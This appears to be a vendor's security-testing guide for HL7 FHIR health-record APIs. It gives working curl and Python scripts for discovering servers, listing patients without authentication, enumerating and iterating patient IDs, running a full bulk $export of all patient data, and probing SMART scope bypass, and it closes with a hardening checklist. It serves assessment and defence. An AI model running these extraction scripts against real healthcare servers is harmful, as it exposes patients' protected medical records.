HL7 FHIR Security Testing: Patient Data Access, Authentication Bypass, and Bulk Export

HL7 FHIR (Fast Healthcare Interoperability Resources) is the standard API layer for electronic health records, used by Epic, Cerner, Athenahealth, and hundreds of healthcare systems. FHIR servers expose structured patient data over REST โ€” and misconfigured servers are a primary target for PHI (Protected Health Information) breaches. Key attack vectors include: unauthenticated /Patient endpoints common in development and staging environments promoted to production; the $export bulk operation that downloads all patient data as NDJSON; SMART on FHIR scope misconfiguration allowing cross-patient data access; and FHIR search parameters enabling patient enumeration without direct resource ID knowledge. HIPAA breach exposure from FHIR misconfigurations can cost $1.9M+ per incident. This guide covers systematic FHIR security assessment.

Table of Contents

  1. FHIR Server Discovery and Capability Assessment
  2. Authentication Bypass and Patient Record Access
  3. Bulk Export and Full Database Extraction
  4. SMART on FHIR Scope Misconfiguration
  5. FHIR Security Hardening

FHIR Server Discovery and Capability Assessment

The FHIR CapabilityStatement (or Conformance) resource at /metadata is required to be publicly accessible without authentication. It reveals every supported resource type, search parameter, operation, and the authentication configuration โ€” providing a complete attack surface map.

# FHIR server discovery and capability statement analysis
FHIR_BASE="https://fhir.hospital.com/fhir/r4"

# Get capability statement (always publicly accessible per FHIR spec)
curl -s -H "Accept: application/fhir+json" "${FHIR_BASE}/metadata" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'FHIR version: {d.get(\"fhirVersion\")}')
print(f'Software: {d.get(\"software\",{}).get(\"name\")} {d.get(\"software\",{}).get(\"version\")}')
print(f'Publisher: {d.get(\"publisher\")}')

# Extract security configuration
sec = d.get('rest',[{}])[0].get('security',{})
print(f'OAuth2 endpoint: {sec}')

# List all supported resource types
resources = d.get('rest',[{}])[0].get('resource',[])
print(f'Supported resources ({len(resources)}):')
for r in resources:
    interactions = [i['code'] for i in r.get('interaction',[])]
    print(f'  {r[\"type\"]}: {interactions}')
"

# Check SMART on FHIR discovery endpoint
curl -s "${FHIR_BASE}/.well-known/smart-configuration" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'SMART auth endpoint: {d.get(\"authorization_endpoint\")}')
    print(f'SMART token endpoint: {d.get(\"token_endpoint\")}')
    print(f'Supported scopes: {d.get(\"scopes_supported\")}')
    print(f'Response types: {d.get(\"response_types_supported\")}')
except: print('No SMART configuration found')
"

# Test common FHIR server implementations
for IMPL in "hapi" "azure-fhir" "google-fhir" "firely" "ibm-fhir"; do
  echo "Testing ${FHIR_BASE}/${IMPL}/"
  curl -s -o /dev/null -w "%{http_code}" "${FHIR_BASE}/${IMPL}/" 2>/dev/null
done
HIPAA Exposure: The CapabilityStatement is intentionally public per FHIR spec โ€” but it reveals authentication requirements (or lack thereof), all resource types with PHI, and whether bulk export is supported. Use it to determine exactly which attack vectors apply before testing authentication.

Authentication Bypass and Patient Record Access

FHIR servers in development and staging environments are frequently configured without authentication. These configurations are often promoted to production without auth being enabled. Even authenticated servers may have IDOR vulnerabilities where patient IDs in URLs are not validated against the authenticated user's access rights.

# Test for unauthenticated FHIR access
FHIR_BASE="https://fhir.hospital.com/fhir/r4"

# Test unauthenticated patient list (should require auth)
curl -s -H "Accept: application/fhir+json" "${FHIR_BASE}/Patient?_count=10" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if d.get('resourceType') == 'Bundle':
        total=d.get('total',0)
        entries=d.get('entry',[])
        print(f'UNAUTHENTICATED ACCESS โ€” Total patients: {total}')
        for e in entries[:5]:
            r=e.get('resource',{})
            name=r.get('name',[{}])[0]
            given=' '.join(name.get('given',['']))
            family=name.get('family','')
            dob=r.get('birthDate','')
            print(f'  {given} {family} | DOB: {dob} | ID: {r.get(\"id\")}')
    elif d.get('resourceType') == 'OperationOutcome':
        print(f'Auth required: {d}')
except Exception as e:
    print(f'Error: {e}')
"

# Patient enumeration via search parameters (works even with some auth)
# Enumerate by name, birthdate, identifier
for SEARCH in "family=Smith" "birthdate=1990-01-01" "identifier=123456789" "email=admin@hospital.com"; do
  RESULT=$(curl -s -H "Accept: application/fhir+json" \
    -H "Authorization: Bearer your_token" \
    "${FHIR_BASE}/Patient?${SEARCH}&_count=5")
  COUNT=$(echo "$RESULT" | python3 -c "import json,sys; print(json.load(sys.stdin).get('total',0))" 2>/dev/null)
  echo "Search '${SEARCH}': ${COUNT} results"
done

# IDOR test โ€” access another patient's records by iterating IDs
BASE_ID="patient-123"
for i in $(seq 1 20); do
  ID="patient-${i}"
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer patient_own_token" \
    "${FHIR_BASE}/Patient/${ID}")
  [ "$CODE" = "200" ] && echo "IDOR: accessed patient ${ID} (own token)"
done

# Access clinical data for a found patient
PATIENT_ID="found-patient-id"
for RESOURCE in "Observation" "MedicationRequest" "Condition" "AllergyIntolerance" "DiagnosticReport" "Procedure"; do
  COUNT=$(curl -s -H "Accept: application/fhir+json" \
    -H "Authorization: Bearer your_token" \
    "${FHIR_BASE}/${RESOURCE}?patient=${PATIENT_ID}&_count=1" | \
    python3 -c "import json,sys; print(json.load(sys.stdin).get('total','?'))" 2>/dev/null)
  echo "${RESOURCE} for patient ${PATIENT_ID}: ${COUNT} records"
done

Bulk Export and Full Database Extraction

The FHIR $export operation (Bulk Data Access IG) downloads entire patient populations as NDJSON files. It is designed for population health analytics but is a single endpoint away from extracting an entire EHR database when misconfigured or over-authorized.

# FHIR Bulk Export โ€” download entire patient dataset
FHIR_BASE="https://fhir.hospital.com/fhir/r4"
BEARER="Bearer your_access_token"

# Initiate system-level bulk export (downloads ALL data)
EXPORT_RESP=$(curl -s -i \
  -H "Authorization: ${BEARER}" \
  -H "Accept: application/fhir+json" \
  -H "Prefer: respond-async" \
  "${FHIR_BASE}/\$export?_outputFormat=application/fhir+ndjson")

# Extract polling URL from Content-Location header
POLL_URL=$(echo "$EXPORT_RESP" | grep -i "Content-Location:" | awk '{print $2}' | tr -d '\r')
echo "Export job polling URL: ${POLL_URL}"

# Poll until export completes (may take minutes for large datasets)
while true; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: ${BEARER}" "${POLL_URL}")
  if [ "$STATUS" = "200" ]; then
    echo "Export complete!"
    break
  elif [ "$STATUS" = "202" ]; then
    echo "Still processing..."
    sleep 10
  else
    echo "Error: HTTP ${STATUS}"
    break
  fi
done

# Get export result โ€” list of downloadable NDJSON files
RESULT=$(curl -s -H "Authorization: ${BEARER}" "${POLL_URL}")
echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
output=d.get('output',[])
print(f'Export files ({len(output)}):')
for f in output:
    print(f'  {f[\"type\"]}: {f[\"url\"]} ({f.get(\"count\",\"?\")}) records')
"

# Download each NDJSON file (contains all patient records)
echo "$RESULT" | python3 -c "
import json,sys,subprocess
d=json.load(sys.stdin)
for f in d.get('output',[]):
    url=f['url']
    rtype=f['type']
    cmd=['curl','-s','-H','Authorization: Bearer your_token',
         '-o',f'/tmp/fhir-export-{rtype}.ndjson',url]
    subprocess.run(cmd)
    print(f'Downloaded {rtype}')
"

# Count extracted records
for FILE in /tmp/fhir-export-*.ndjson; do
  TYPE=$(basename "$FILE" .ndjson | sed 's/fhir-export-//')
  COUNT=$(wc -l < "$FILE")
  echo "${TYPE}: ${COUNT} records"
done

# Patient-level export (single patient, but can be iterated)
curl -s -i \
  -H "Authorization: ${BEARER}" \
  -H "Prefer: respond-async" \
  "${FHIR_BASE}/Patient/PATIENT-ID/\$export"

SMART on FHIR Scope Misconfiguration

SMART on FHIR defines granular OAuth2 scopes for FHIR resource access (e.g. patient/Patient.read, user/Observation.read). Misconfigured servers may grant broader scopes than requested, ignore patient context claims in tokens, or allow system/*.* scope to backend applications that then serve user-facing apps.

# SMART on FHIR scope testing
FHIR_BASE="https://fhir.hospital.com/fhir/r4"

# Test scope escalation โ€” request patient scope, try user scope endpoints
# Normal patient token should only access /Patient/[their-id]
# Try accessing /Patient (all patients) with a patient-scoped token
PATIENT_TOKEN="patient_scoped_access_token"

curl -s -H "Authorization: Bearer ${PATIENT_TOKEN}" \
  -H "Accept: application/fhir+json" \
  "${FHIR_BASE}/Patient" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('resourceType')=='Bundle':
    print(f'SCOPE BYPASS: accessed all patients โ€” total: {d.get(\"total\")}')
else:
    print(f'Correctly restricted: {d.get(\"resourceType\")}')
"

# Test if patient context is enforced (launch context binding)
# A properly configured server should bind patient token to specific patient ID
# If token was issued with launch/patient context for patient-123:
for PATIENT_ID in "patient-123" "patient-456" "patient-789"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ${PATIENT_TOKEN}" \
    "${FHIR_BASE}/Patient/${PATIENT_ID}")
  echo "Accessing ${PATIENT_ID} with patient-123 token: HTTP ${CODE}"
  # 200 for wrong patient = IDOR/scope bypass
done

# Check if server validates token audience (aud claim)
# Tokens from one FHIR server should not work on another
OTHER_FHIR="https://other-hospital.com/fhir/r4"
curl -s -H "Authorization: Bearer ${PATIENT_TOKEN}" \
  "${OTHER_FHIR}/Patient" -o /dev/null -w "%{http_code}"

# Test open endpoints that should require auth
for ENDPOINT in "Patient" "Observation" "Condition" "MedicationRequest" "DocumentReference"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Accept: application/fhir+json" \
    "${FHIR_BASE}/${ENDPOINT}?_count=1")
  echo "No auth ${ENDPOINT}: HTTP ${CODE}"
done

Automated FHIR Security Testing

Ironimo can assess your HL7 FHIR server for unauthenticated patient record access, bulk export misconfiguration, SMART on FHIR scope bypass, and IDOR vulnerabilities โ€” covering the healthcare API attack surface that HIPAA audits often miss.

Start free scan

Hardening Checklist

IssueDefault StateFix
Unauthenticated /Patient endpointOpen in dev/test configsRequire SMART on FHIR auth on all endpoints except /metadata; audit all FHIR server security configurations before production
Bulk export without authorization$export often requires only valid tokenRestrict $export to system-level admin tokens only; log all bulk export requests with patient counts
Patient context not enforcedToken scope check may not verify patient IDImplement resource-level authorization; validate token fhirUser/patient claims match requested resource
Broad user/* scopes grantedSome apps request user/*.* unnecessarilyEnforce least-privilege scopes; reject requests for user/*.* from patient-facing apps
CapabilityStatement reveals everythingRequired to be public per specRemove sensitive implementation details from CapabilityStatement; use FHIR implementation guide profiles
No audit logging on PHI accessVaries by implementationLog all FHIR resource reads with patient ID, user, time, and IP; alert on bulk access patterns
Key findings to report: Unauthenticated /Patient endpoint returning PHI (critical โ€” HIPAA breach); $export accessible with low-privilege token downloading all records (critical); SMART patient token accessing other patients' records IDOR (high); no audit log for PHI access (high); CapabilityStatement exposing internal system details (medium).